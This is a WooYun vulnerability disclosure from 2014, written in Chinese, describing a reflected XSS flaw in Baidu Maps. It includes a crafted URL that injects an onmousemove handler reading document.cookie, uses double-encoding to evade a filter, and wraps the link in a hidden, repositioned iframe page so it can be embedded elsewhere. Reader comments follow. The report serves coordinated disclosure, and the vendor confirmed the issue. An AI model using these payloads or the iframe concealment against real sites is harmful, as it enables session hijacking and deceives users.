当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072321

漏洞标题:百度地图持久形XSS漏洞

相关厂商:百度

漏洞作者: q601333824

提交时间:2014-08-14 08:49

修复时间:2014-09-28 08:50

公开时间:2014-09-28 08:50

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:3

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-14: 细节已通知厂商并且等待厂商处理中
2014-08-14: 厂商已经确认,细节仅向厂商公开
2014-08-24: 细节向核心白帽子及相关领域专家公开
2014-09-03: 细节向普通白帽子公开
2014-09-13: 细节向实习白帽子公开
2014-09-28: 细节向公众公开

简要描述:

<script>alert(/我是标题党/)</script>

详细说明:


1.百度地图存在反射形XSS漏洞,但是被利用,可以变成持久形

2.存在XSS的连接

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D<!XSS!>%26sivtp%3D1%26l%3D12%26bdfrom%3D1


3.上面那段代码,从参数&fstq开始,之后的参数带符号的都需要编码,不进行编码,搜索是空的,比如解码之后访问,如图

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd&fstq=1&from=webmap&c=179&pn=0&rn=10&wd=<!XSS!>&sivtp=1&l=12&bdfrom=1


QQ截图20140814044439.png



4,如果测试的时候搜索是空的,大概是这个问题
---------------------------------------------------------------------------------------
5,然后.存在XSS的参数是&wd参数,因为这个参数会把单引号,当成双引号,然后被当成属性分割出去了.而且XSS刚好存在<a>标签里面,如图

QQ截图20140814045004.png


6.知道这个,然后再构造代码。

'onmousemove="alert(document.cookie)"style="font-size:999px;cursor: default !important;"


7.style属性把字体设置大点容易点到
8.然后要再把=等于号两次编码,因为这个参数测试的时候如果存在等于号的时候搜索内容清空,所以编码两次就不会清空了.

= → %3d → %253d


如图
构造好的代码

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1


9.如图

QQ截图20140814050147.png


10.当把鼠标移动到左边的时候就触发XSS了
------------------------------------------------------------------------------------------
11.这个时候百度会说,一般只有小白才会去点这个连接,而且鼠标还要移动上去,懂的人根本不会去点
12.这个时候可以用iframe框架,增加隐蔽
13.最终构造好的代码,下面

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>存储型XSS测试</title>
<style type="text/css">
body {
text-align:center}
</style>
</head>
<body>
<iframe src="http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1" height="1000" width="350" style="position:absolute; left:500px; top:-500px;" scrolling="no">
</body>
</html>


14.上面那段代码简单说,就是,iframe框架里面加上反射XSS连接,然后设置宽和高,刚好和XSS范围大小一样,然后为了隐藏上面搜索栏的那段代码,可以设置绝对位置为负数,往上面移动,挡住搜索栏,这样就不会被看见了
15.最终效果图.如图

QQ截图20140814051310.png


16.看上面的图可以看出,可以当持久形XSS了,可以被人挂在自己的网站

漏洞证明:

1.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>存储型XSS测试</title>
<style type="text/css">
body {
text-align:center}
</style>
</head>
<body>
<iframe src="http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1" height="1000" width="350" style="position:absolute; left:500px; top:-500px;" scrolling="no">
</body>
</html>


2.

QQ截图20140814051310.png


修复方案:

虽然不知道为什么单引号可以当成双引号,但是感觉好厉害的样子

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-08-14 13:35

厂商回复:

感谢对百度安全的支持。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-14 09:13 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    前排看看

  2. 2014-08-14 12:53 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    大牛,我收藏一下漏洞!

  3. 2014-08-14 15:04 | 大风对我说 ( 路人 | Rank:6 漏洞数:2 | 酱油党)

    看看,很期待

  4. 2014-08-14 23:13 | 233 ( 路人 | Rank:14 漏洞数:4 | 小孩子看了根本把持不住)

    大牛,我收藏一下漏洞!

  5. 2014-08-15 04:15 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @233 TBCC

  6. 2014-08-15 10:48 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @浅兮 我是小白,输入框到处叉叉看就碰到了

  7. 2014-08-15 12:31 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    @q601333824 别吹牛啦!我收藏了!管你

  8. 2014-08-15 17:08 | 233 ( 路人 | Rank:14 漏洞数:4 | 小孩子看了根本把持不住)

    @q601333824 别吹牛啦!我收藏了!管你

  9. 2014-09-05 22:25 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    漏洞不错。不过按你这么说,用个iframe反射型都能变持久了..持久不是这个意思吧。。

  10. 2014-09-05 22:50 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @phith0n 因为提交之前,怕重复,先在乌云搜索过,以前有过类似,看别人说反射只有1-3rank,所以感觉利用方法也弄出来rank会高点...

  11. 2014-10-04 00:50 | Murk Emissary ( 实习白帽子 | Rank:74 漏洞数:14 | 低调做人 低调行事)

    @q601333824 利用方法出来了,Rank 5+